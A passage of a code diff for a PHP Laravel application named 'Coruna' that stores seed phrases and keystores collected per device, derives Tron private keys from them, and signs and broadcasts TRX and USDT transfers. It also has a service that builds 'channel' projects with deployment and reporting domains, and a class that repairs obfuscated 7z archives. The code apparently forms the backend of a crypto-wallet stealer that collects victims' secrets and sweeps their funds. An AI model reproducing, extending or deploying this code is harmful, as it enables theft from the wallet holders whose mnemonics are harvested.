$formatted = number_format((float) $amount, $decimals, '.', '');
|
||||
$formatted = rtrim(rtrim($formatted, '0'), '.');
|
||||
|
||||
return $formatted === '' ? '0' : $formatted;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
public function formattedCoins(): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (self::COIN_COLUMNS as $col) {
|
||||
$out[$col] = self::formatAmount($col, $this->{$col});
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function coinsSummary(): ?string
|
||||
{
|
||||
$parts = [];
|
||||
foreach (self::COIN_COLUMNS as $col) {
|
||||
$raw = $this->{$col};
|
||||
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
||||
continue;
|
||||
}
|
||||
$parts[strtoupper($col)] = self::formatAmount($col, $raw);
|
||||
}
|
||||
|
||||
return $parts === [] ? null : json_encode($parts, JSON_UNESCAPED_UNICODE);
|
||||
}
|
||||
|
||||
/**
|
||||
* Snapshot of coin columns for change detection.
|
||||
*
|
||||
* @return array<string, string|null>
|
||||
*/
|
||||
public function coinSnapshot(): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (self::COIN_COLUMNS as $col) {
|
||||
$v = $this->{$col};
|
||||
$out[$col] = $v === null || $v === '' ? null : (string) $v;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class WalletKeystore extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'raw_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'raw_json' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
class WalletMnemonic extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
|
||||
];
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public static function hashSecret(string $secret): string
|
||||
{
|
||||
return hash('sha256', $secret);
|
||||
}
|
||||
|
||||
public function setMnemonicAttribute(?string $value): void
|
||||
{
|
||||
if ($value === null || $value === '') {
|
||||
$this->attributes['mnemonic_enc'] = null;
|
||||
$this->attributes['mnemonic_hash'] = null;
|
||||
|
||||
return;
|
||||
}
|
||||
$this->attributes['mnemonic_hash'] = self::hashSecret($value);
|
||||
$this->attributes['mnemonic_enc'] = Crypt::encryptString($value);
|
||||
}
|
||||
|
||||
public function getMnemonicAttribute(): ?string
|
||||
{
|
||||
if (empty($this->attributes['mnemonic_enc'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return Crypt::decryptString($this->attributes['mnemonic_enc']);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static function maskSecret(?string $value): string
|
||||
{
|
||||
if ($value === null || $value === '') {
|
||||
return '—';
|
||||
}
|
||||
$words = preg_split('/\s+/', trim($value)) ?: [];
|
||||
if (count($words) >= 12) {
|
||||
return $words[0].' *** '.$words[count($words) - 1];
|
||||
}
|
||||
$len = strlen($value);
|
||||
if ($len <= 8) {
|
||||
return str_repeat('*', $len);
|
||||
}
|
||||
|
||||
return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
<?php
|
||||
|
||||
namespace App\Providers;
|
||||
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\SettingsService;
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
use Nutgram\Laravel\RunningMode\LaravelWebhook;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class AppServiceProvider extends ServiceProvider
|
||||
{
|
||||
public function register(): void
|
||||
{
|
||||
$this->app->singleton(CorunaCrypto::class, function () {
|
||||
$override = config('coruna.session_key');
|
||||
|
||||
return new CorunaCrypto(is_string($override) && $override !== '' ? $override : null);
|
||||
});
|
||||
|
||||
$this->app->singleton(CorunaArchive::class, function ($app) {
|
||||
return new CorunaArchive(
|
||||
$app->make(CorunaCrypto::class),
|
||||
(string) config('coruna.seven_zip', ''),
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
public function boot(): void
|
||||
{
|
||||
try {
|
||||
$this->app->make(SettingsService::class)->applyToConfig();
|
||||
} catch (\Throwable) {
|
||||
// settings table may not exist yet during migrate
|
||||
}
|
||||
|
||||
// Override Nutgram's production safe_mode (md5 APP_KEY) so webhook updates
|
||||
// are not silently dropped when Telegram secret_token is unset/mismatched.
|
||||
$this->app->afterResolving(Nutgram::class, function (Nutgram $bot): void {
|
||||
if ($this->app->runningUnitTests() || $this->app->runningInConsole()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$secret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
$webhook = $secret !== ''
|
||||
? new LaravelWebhook(
|
||||
getToken: static fn () => request()?->header('X-Telegram-Bot-Api-Secret-Token'),
|
||||
secretToken: $secret,
|
||||
)
|
||||
: new LaravelWebhook;
|
||||
$webhook->setSafeMode($secret !== '');
|
||||
$bot->setRunningMode($webhook);
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Elliptic\EC;
|
||||
use FurqanSiddiqui\BIP39\BIP39;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* BIP39 seed + BIP32/BIP44 private-key derivation (secp256k1).
|
||||
*/
|
||||
final class Bip44
|
||||
{
|
||||
private const CURVE_ORDER = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141';
|
||||
|
||||
/**
|
||||
* @return array{private_key: string, public_key_uncompressed: string}
|
||||
*/
|
||||
public static function derive(string $mnemonic, string $path): array
|
||||
{
|
||||
$words = preg_split('/\s+/', trim($mnemonic)) ?: [];
|
||||
if (count($words) < 12) {
|
||||
throw new RuntimeException('Invalid mnemonic');
|
||||
}
|
||||
|
||||
$seed = BIP39::Words($words)->generateSeed();
|
||||
[$key, $chain] = self::masterFromSeed($seed);
|
||||
|
||||
foreach (self::parsePath($path) as $index) {
|
||||
[$key, $chain] = self::ckdPriv($key, $chain, $index);
|
||||
}
|
||||
|
||||
$ec = new EC('secp256k1');
|
||||
$pair = $ec->keyFromPrivate(bin2hex($key));
|
||||
|
||||
return [
|
||||
'private_key' => bin2hex($key),
|
||||
'public_key_uncompressed' => $pair->getPublic(false, 'hex'),
|
||||
];
|
||||
}
|
||||
|
||||
/** @return array{0: string, 1: string} binary key + chain code */
|
||||
private static function masterFromSeed(string $seed): array
|
||||
{
|
||||
$I = hash_hmac('sha512', $seed, 'Bitcoin seed', true);
|
||||
|
||||
return [substr($I, 0, 32), substr($I, 32, 32)];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: string, 1: string}
|
||||
*/
|
||||
private static function ckdPriv(string $kPar, string $cPar, int $index): array
|
||||
{
|
||||
if ($index & 0x80000000) {
|
||||
$data = "\x00".$kPar.pack('N', $index);
|
||||
} else {
|
||||
$ec = new EC('secp256k1');
|
||||
$pub = hex2bin($ec->keyFromPrivate(bin2hex($kPar))->getPublic(true, 'hex'));
|
||||
$data = $pub.pack('N', $index);
|
||||
}
|
||||
|
||||
$I = hash_hmac('sha512', $data, $cPar, true);
|
||||
$IL = substr($I, 0, 32);
|
||||
$IR = substr($I, 32, 32);
|
||||
|
||||
$n = gmp_init(self::CURVE_ORDER, 16);
|
||||
$ki = gmp_mod(
|
||||
gmp_add(gmp_init(bin2hex($IL), 16), gmp_init(bin2hex($kPar), 16)),
|
||||
$n
|
||||
);
|
||||
|
||||
if (gmp_cmp($ki, 0) === 0) {
|
||||
throw new RuntimeException('Invalid derived key');
|
||||
}
|
||||
|
||||
$key = hex2bin(str_pad(gmp_strval($ki, 16), 64, '0', STR_PAD_LEFT));
|
||||
|
||||
return [$key, $IR];
|
||||
}
|
||||
|
||||
/** @return list<int> */
|
||||
private static function parsePath(string $path): array
|
||||
{
|
||||
$path = trim($path);
|
||||
if (str_starts_with($path, 'm/')) {
|
||||
$path = substr($path, 2);
|
||||
} elseif ($path === 'm') {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach (explode('/', $path) as $seg) {
|
||||
if ($seg === '') {
|
||||
continue;
|
||||
}
|
||||
$hardened = str_ends_with($seg, "'") || str_ends_with($seg, 'h') || str_ends_with($seg, 'H');
|
||||
$num = (int) rtrim($seg, "'hH");
|
||||
if ($hardened) {
|
||||
$num |= 0x80000000;
|
||||
}
|
||||
$out[] = $num;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
interface ChainDriver
|
||||
{
|
||||
public function chainId(): string;
|
||||
|
||||
public function deriveAddress(string $mnemonic, int $index = 0): string;
|
||||
|
||||
/**
|
||||
* @return string txid
|
||||
*/
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string;
|
||||
|
||||
/**
|
||||
* @return string txid
|
||||
*/
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string;
|
||||
|
||||
public function isValidAddress(string $address): bool;
|
||||
|
||||
/**
|
||||
* Human-decimal native balance (e.g. TRX).
|
||||
*/
|
||||
public function getNativeBalance(string $address): string;
|
||||
|
||||
/**
|
||||
* Human-decimal token balance (e.g. USDT, 6 decimals on Tron).
|
||||
*/
|
||||
public function getTokenBalance(string $address, string $contract): string;
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use InvalidArgumentException;
|
||||
|
||||
class ChainManager
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TronDriver $tron,
|
||||
) {}
|
||||
|
||||
public function resolve(string $chain): ChainDriver
|
||||
{
|
||||
return match (strtolower($chain)) {
|
||||
'tron', 'trx' => $this->tron,
|
||||
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use kornrunner\Keccak;
|
||||
use RuntimeException;
|
||||
|
||||
final class TronAddress
|
||||
{
|
||||
public static function fromUncompressedPublicKey(string $publicKeyHex): string
|
||||
{
|
||||
$hex = strtolower($publicKeyHex);
|
||||
if (str_starts_with($hex, '0x')) {
|
||||
$hex = substr($hex, 2);
|
||||
}
|
||||
if (str_starts_with($hex, '04')) {
|
||||
$hex = substr($hex, 2);
|
||||
}
|
||||
if (strlen($hex) !== 128) {
|
||||
throw new RuntimeException('Expected uncompressed secp256k1 public key');
|
||||
}
|
||||
|
||||
$hash = Keccak::hash(hex2bin($hex), 256);
|
||||
$addrHex = '41'.substr($hash, -40);
|
||||
|
||||
return self::hexToBase58Check($addrHex);
|
||||
}
|
||||
|
||||
public static function isValid(string $address): bool
|
||||
{
|
||||
if (! preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
$hex = self::base58CheckToHex($address);
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return str_starts_with(strtolower($hex), '41') && strlen($hex) === 42;
|
||||
}
|
||||
|
||||
public static function toHex(string $base58): string
|
||||
{
|
||||
return self::base58CheckToHex($base58);
|
||||
}
|
||||
|
||||
public static function hexToBase58Check(string $hex): string
|
||||
{
|
||||
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
|
||||
$bin = hex2bin($hex);
|
||||
if ($bin === false) {
|
||||
throw new RuntimeException('Invalid hex');
|
||||
}
|
||||
$checksum = substr(hash('sha256', hash('sha256', $bin, true), true), 0, 4);
|
||||
$bytes = $bin.$checksum;
|
||||
$num = gmp_init(bin2hex($bytes), 16);
|
||||
$encoded = '';
|
||||
while (gmp_cmp($num, 0) > 0) {
|
||||
[$num, $rem] = [gmp_div_q($num, 58), gmp_intval(gmp_mod($num, 58))];
|
||||
$encoded = $alphabet[$rem].$encoded;
|
||||
}
|
||||
for ($i = 0, $len = strlen($bytes); $i < $len && $bytes[$i] === "\x00"; $i++) {
|
||||
$encoded = '1'.$encoded;
|
||||
}
|
||||
|
||||
return $encoded;
|
||||
}
|
||||
|
||||
public static function base58CheckToHex(string $address): string
|
||||
{
|
||||
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
|
||||
$num = gmp_init(0);
|
||||
for ($i = 0, $len = strlen($address); $i < $len; $i++) {
|
||||
$pos = strpos($alphabet, $address[$i]);
|
||||
if ($pos === false) {
|
||||
throw new RuntimeException('Invalid base58 character');
|
||||
}
|
||||
$num = gmp_add(gmp_mul($num, 58), $pos);
|
||||
}
|
||||
$hex = gmp_strval($num, 16);
|
||||
if (strlen($hex) % 2 !== 0) {
|
||||
$hex = '0'.$hex;
|
||||
}
|
||||
// leading ones => leading zero bytes
|
||||
for ($i = 0, $len = strlen($address); $i < $len && $address[$i] === '1'; $i++) {
|
||||
$hex = '00'.$hex;
|
||||
}
|
||||
$bin = hex2bin($hex);
|
||||
if ($bin === false || strlen($bin) < 5) {
|
||||
throw new RuntimeException('Invalid address payload');
|
||||
}
|
||||
$payload = substr($bin, 0, -4);
|
||||
$checksum = substr($bin, -4);
|
||||
$expected = substr(hash('sha256', hash('sha256', $payload, true), true), 0, 4);
|
||||
if (! hash_equals($expected, $checksum)) {
|
||||
throw new RuntimeException('Invalid address checksum');
|
||||
}
|
||||
|
||||
return bin2hex($payload);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,211 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Illuminate\Http\Client\PendingRequest;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use RuntimeException;
|
||||
|
||||
class TronDriver implements ChainDriver
|
||||
{
|
||||
public function chainId(): string
|
||||
{
|
||||
return 'tron';
|
||||
}
|
||||
|
||||
public function deriveAddress(string $mnemonic, int $index = 0): string
|
||||
{
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
|
||||
return TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
}
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
$sun = $this->toSun($amount);
|
||||
|
||||
$tx = $this->post('/wallet/createtransaction', [
|
||||
'owner_address' => $from,
|
||||
'to_address' => $to,
|
||||
'amount' => (int) $sun,
|
||||
'visible' => true,
|
||||
]);
|
||||
|
||||
return $this->signAndBroadcast($tx, $derived['private_key']);
|
||||
}
|
||||
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
|
||||
{
|
||||
if (! $this->isValidAddress($to) || ! $this->isValidAddress($contract)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
}
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
$sun = $this->toSun($amount);
|
||||
$parameter = $this->encodeTransferParameter($to, $sun);
|
||||
|
||||
$ext = $this->post('/wallet/triggersmartcontract', [
|
||||
'owner_address' => $from,
|
||||
'contract_address' => $contract,
|
||||
'function_selector' => 'transfer(address,uint256)',
|
||||
'parameter' => $parameter,
|
||||
'fee_limit' => (int) config('coruna.tron.fee_limit', 100_000_000),
|
||||
'call_value' => 0,
|
||||
'visible' => true,
|
||||
]);
|
||||
|
||||
$tx = $ext['transaction'] ?? null;
|
||||
if (! is_array($tx)) {
|
||||
$msg = $ext['result']['message'] ?? ($ext['message'] ?? 'triggersmartcontract failed');
|
||||
throw new RuntimeException(is_string($msg) ? $msg : 'triggersmartcontract failed');
|
||||
}
|
||||
|
||||
return $this->signAndBroadcast($tx, $derived['private_key']);
|
||||
}
|
||||
|
||||
public function isValidAddress(string $address): bool
|
||||
{
|
||||
return TronAddress::isValid($address);
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
}
|
||||
|
||||
$account = $this->post('/wallet/getaccount', [
|
||||
'address' => $address,
|
||||
'visible' => true,
|
||||
]);
|
||||
$sun = (string) ($account['balance'] ?? 0);
|
||||
|
||||
return $this->fromSun($sun);
|
||||
}
|
||||
|
||||
public function getTokenBalance(string $address, string $contract): string
|
||||
{
|
||||
if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
}
|
||||
|
||||
$parameter = str_pad(TronAddress::toHex($address), 64, '0', STR_PAD_LEFT);
|
||||
$ext = $this->post('/wallet/triggerconstantcontract', [
|
||||
'owner_address' => $address,
|
||||
'contract_address' => $contract,
|
||||
'function_selector' => 'balanceOf(address)',
|
||||
'parameter' => $parameter,
|
||||
'visible' => true,
|
||||
]);
|
||||
|
||||
$hex = $ext['constant_result'][0] ?? null;
|
||||
if (! is_string($hex) || $hex === '') {
|
||||
return '0';
|
||||
}
|
||||
|
||||
$sun = gmp_strval(gmp_init($hex, 16), 10);
|
||||
|
||||
return $this->fromSun($sun);
|
||||
}
|
||||
|
||||
private function path(int $index): string
|
||||
{
|
||||
return "m/44'/195'/0'/0/{$index}";
|
||||
}
|
||||
|
||||
private function toSun(string $amount): string
|
||||
{
|
||||
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount)) {
|
||||
throw new RuntimeException('Invalid amount');
|
||||
}
|
||||
$sun = bcmul($amount, '1000000', 0);
|
||||
if (bccomp($sun, '0') <= 0) {
|
||||
throw new RuntimeException('Amount must be positive');
|
||||
}
|
||||
|
||||
return $sun;
|
||||
}
|
||||
|
||||
private function fromSun(string $sun): string
|
||||
{
|
||||
if (! preg_match('/^\d+$/', $sun)) {
|
||||
$sun = '0';
|
||||
}
|
||||
$human = bcdiv($sun, '1000000', 6);
|
||||
$human = rtrim(rtrim($human, '0'), '.');
|
||||
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function encodeTransferParameter(string $toBase58, string $amountSun): string
|
||||
{
|
||||
$toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes
|
||||
$addressWord = str_pad($toHex, 64, '0', STR_PAD_LEFT);
|
||||
$amountWord = str_pad(gmp_strval(gmp_init($amountSun, 10), 16), 64, '0', STR_PAD_LEFT);
|
||||
|
||||
return $addressWord.$amountWord;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $tx
|
||||
*/
|
||||
private function signAndBroadcast(array $tx, string $privateKeyHex): string
|
||||
{
|
||||
$txId = $tx['txID'] ?? null;
|
||||
if (! is_string($txId) || $txId === '') {
|
||||
throw new RuntimeException('Missing txID from node');
|
||||
}
|
||||
|
||||
$signature = TronSigner::signTxId($privateKeyHex, $txId);
|
||||
$tx['signature'] = [$signature];
|
||||
|
||||
$result = $this->post('/wallet/broadcasttransaction', $tx);
|
||||
$ok = ($result['result'] ?? false) === true;
|
||||
if (! $ok) {
|
||||
$msg = $result['message'] ?? ($result['code'] ?? 'broadcast failed');
|
||||
if (is_string($msg) && ctype_xdigit($msg)) {
|
||||
$decoded = @hex2bin($msg);
|
||||
$msg = $decoded !== false ? $decoded : $msg;
|
||||
}
|
||||
throw new RuntimeException(is_string($msg) ? $msg : 'broadcast failed');
|
||||
}
|
||||
|
||||
return $txId;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function post(string $path, array $payload): array
|
||||
{
|
||||
$resp = $this->http()->post(rtrim((string) config('coruna.tron.full_node'), '/').$path, $payload);
|
||||
if (! $resp->successful()) {
|
||||
throw new RuntimeException('Tron node HTTP '.$resp->status());
|
||||
}
|
||||
$json = $resp->json();
|
||||
if (! is_array($json)) {
|
||||
throw new RuntimeException('Invalid Tron node response');
|
||||
}
|
||||
|
||||
return $json;
|
||||
}
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
$req = Http::timeout(30)->acceptJson()->asJson();
|
||||
$apiKey = (string) config('coruna.tron.api_key', '');
|
||||
if ($apiKey !== '') {
|
||||
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
|
||||
}
|
||||
|
||||
return $req;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Chain;
|
||||
|
||||
use Elliptic\EC;
|
||||
use RuntimeException;
|
||||
|
||||
final class TronSigner
|
||||
{
|
||||
/**
|
||||
* Sign a Tron txID (sha256 hex of raw_data) → 65-byte hex signature (r||s||v).
|
||||
*/
|
||||
public static function signTxId(string $privateKeyHex, string $txIdHex): string
|
||||
{
|
||||
$txIdHex = strtolower(ltrim($txIdHex, '0x'));
|
||||
if (strlen($txIdHex) !== 64) {
|
||||
throw new RuntimeException('Invalid txID');
|
||||
}
|
||||
|
||||
$ec = new EC('secp256k1');
|
||||
$key = $ec->keyFromPrivate($privateKeyHex);
|
||||
$sig = $key->sign($txIdHex, ['canonical' => true]);
|
||||
|
||||
$r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT);
|
||||
$s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT);
|
||||
$v = dechex($sig->recoveryParam & 0xff);
|
||||
if (strlen($v) === 1) {
|
||||
$v = '0'.$v;
|
||||
}
|
||||
|
||||
return $r.$s.$v;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,148 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Http\Client\ConnectionException;
|
||||
use Illuminate\Http\Client\Response;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use RuntimeException;
|
||||
|
||||
class ChannelProjectService
|
||||
{
|
||||
/**
|
||||
* Ask the standalone builder to materialize a channel project.
|
||||
*
|
||||
* @param list<string>|null $deploymentDomains Channel-configured hosts; empty → CORUNA_LAB_CHANNEL_DOMAINS
|
||||
*/
|
||||
public function generate(string $channelId, ?array $deploymentDomains = null): void
|
||||
{
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
$deploymentDomains = $this->normalizeDomains($deploymentDomains)
|
||||
?: $this->domains('coruna.deployment_domains');
|
||||
$reportingDomains = $this->domains('coruna.reporting_domains');
|
||||
|
||||
if ($deploymentDomains === []) {
|
||||
throw new RuntimeException('投放域名未配置(CORUNA_LAB_CHANNEL_DOMAINS 或渠道 domains)');
|
||||
}
|
||||
if ($reportingDomains === []) {
|
||||
throw new RuntimeException('上报域名未配置(CORUNA_LAB_AMIDN_DOMAINS)');
|
||||
}
|
||||
|
||||
$response = $this->request('post', $channelId, [
|
||||
'deployment_domains' => $deploymentDomains,
|
||||
'reporting_domains' => $reportingDomains,
|
||||
]);
|
||||
|
||||
$this->ensureSuccessful($response, '生成渠道资源失败');
|
||||
}
|
||||
|
||||
public function deleteWebTree(string $channelId): void
|
||||
{
|
||||
try {
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
} catch (RuntimeException) {
|
||||
return;
|
||||
}
|
||||
|
||||
$response = $this->request('delete', $channelId);
|
||||
if ($response->status() === 404) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->ensureSuccessful($response, '删除渠道资源失败');
|
||||
}
|
||||
|
||||
private function request(string $method, string $channelId, array $payload = []): Response
|
||||
{
|
||||
$url = rtrim((string) config('coruna.build_service.url', ''), '/');
|
||||
$token = trim((string) config('coruna.build_service.token', ''));
|
||||
if ($url === '') {
|
||||
throw new RuntimeException('渠道构建服务 URL 未配置');
|
||||
}
|
||||
if ($token === '') {
|
||||
throw new RuntimeException('渠道构建服务令牌未配置');
|
||||
}
|
||||
|
||||
$method = strtoupper($method);
|
||||
$path = $method === 'POST'
|
||||
? '/v1/channels/'.$channelId.'/build'
|
||||
: '/v1/channels/'.$channelId;
|
||||
|
||||
try {
|
||||
$pending = Http::baseUrl($url)
|
||||
->withToken($token)
|
||||
->acceptJson()
|
||||
->connectTimeout((float) config('coruna.build_service.connect_timeout', 5))
|
||||
->timeout((float) config('coruna.build_service.timeout', 600));
|
||||
|
||||
if ($method === 'POST') {
|
||||
return $pending->asJson()->post($path, $payload);
|
||||
}
|
||||
|
||||
return $pending->send($method, $path);
|
||||
} catch (ConnectionException $e) {
|
||||
Log::error('Channel build service connection failed', [
|
||||
'channel_id' => $channelId,
|
||||
'operation' => $method,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
throw new RuntimeException('渠道构建服务连接失败: '.$e->getMessage(), 0, $e);
|
||||
}
|
||||
}
|
||||
|
||||
private function ensureSuccessful(Response $response, string $message): void
|
||||
{
|
||||
if ($response->successful()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$detail = $response->json('message');
|
||||
$detail = is_string($detail) && trim($detail) !== ''
|
||||
? trim($detail)
|
||||
: trim($response->body());
|
||||
$detail = mb_substr($detail !== '' ? $detail : 'unknown error', 0, 500);
|
||||
|
||||
Log::error('Channel build service request failed', [
|
||||
'status' => $response->status(),
|
||||
'detail' => $detail,
|
||||
]);
|
||||
|
||||
throw new RuntimeException("{$message} ({$response->status()}): {$detail}");
|
||||
}
|
||||
|
||||
private function normalizeChannelId(string $channelId): string
|
||||
{
|
||||
$channelId = strtolower(trim($channelId));
|
||||
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
|
||||
throw new RuntimeException('Invalid channel id');
|
||||
}
|
||||
|
||||
return $channelId;
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function domains(string $key): array
|
||||
{
|
||||
return $this->normalizeDomains(config($key, []));
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function normalizeDomains(mixed $domains): array
|
||||
{
|
||||
if (! is_array($domains)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return array_values(array_unique(array_filter(array_map(static function ($domain) {
|
||||
if (! is_string($domain)) {
|
||||
return '';
|
||||
}
|
||||
$domain = trim($domain);
|
||||
$domain = preg_replace('#^https?://#i', '', $domain) ?? $domain;
|
||||
|
||||
return rtrim($domain, '/');
|
||||
}, $domains))));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
|
||||
/**
|
||||
* Repair Coruna obfuscated 7z headers and extract with p7zip.
|
||||
*/
|
||||
class CorunaArchive
|
||||
{
|
||||
private const STANDARD_PREFIX = "7z\xBC\xAF'\x1C";
|
||||
|
||||
private const HEADER_XOR = 0x1234567800ABCDEF;
|
||||
|
||||
private const HEADER_MARKER_1 = 0x000A000900010804;
|
||||
|
||||
private const HEADER_MARKER_2 = 0x009812000B0F0D0C;
|
||||
|
||||
public function __construct(
|
||||
private readonly CorunaCrypto $crypto,
|
||||
private readonly string $sevenZip = '',
|
||||
) {}
|
||||
|
||||
public function isCorunaHeader(string $data): bool
|
||||
{
|
||||
if (strlen($data) < 32) {
|
||||
return false;
|
||||
}
|
||||
if (str_starts_with($data, self::STANDARD_PREFIX)) {
|
||||
return false;
|
||||
}
|
||||
$m1 = unpack('P', substr($data, 16, 8))[1];
|
||||
$m2 = unpack('P', substr($data, 24, 8))[1];
|
||||
|
||||
return $m1 === self::HEADER_MARKER_1 && $m2 === self::HEADER_MARKER_2;
|
||||
}
|
||||
|
||||
public function repairHeader(string $data): string
|
||||
{
|
||||
if (str_starts_with($data, self::STANDARD_PREFIX)) {
|
||||
return $data;
|
||||
}
|
||||
if (strlen($data) < 33 || ! $this->isCorunaHeader($data)) {
|
||||
throw new RuntimeException('not a Coruna header-obfuscated 7z archive');
|
||||
}
|
||||
|
||||
$nextHeaderOffset = unpack('P', substr($data, 0, 8))[1] ^ self::HEADER_XOR;
|
||||
$nextHeaderSize = unpack('P', substr($data, 8, 8))[1] ^ self::HEADER_XOR;
|
||||
$nextHeaderStart = 32 + $nextHeaderOffset;
|
||||
$nextHeaderEnd = $nextHeaderStart + $nextHeaderSize;
|
||||
if ($nextHeaderSize === 0 || $nextHeaderEnd > strlen($data)) {
|
||||
throw new RuntimeException('invalid Coruna 7z bounds');
|
||||
}
|
||||
|
||||
$repaired = $data;
|
||||
$repaired = substr_replace($repaired, self::STANDARD_PREFIX."\x00\x04", 0, 8);
|
||||
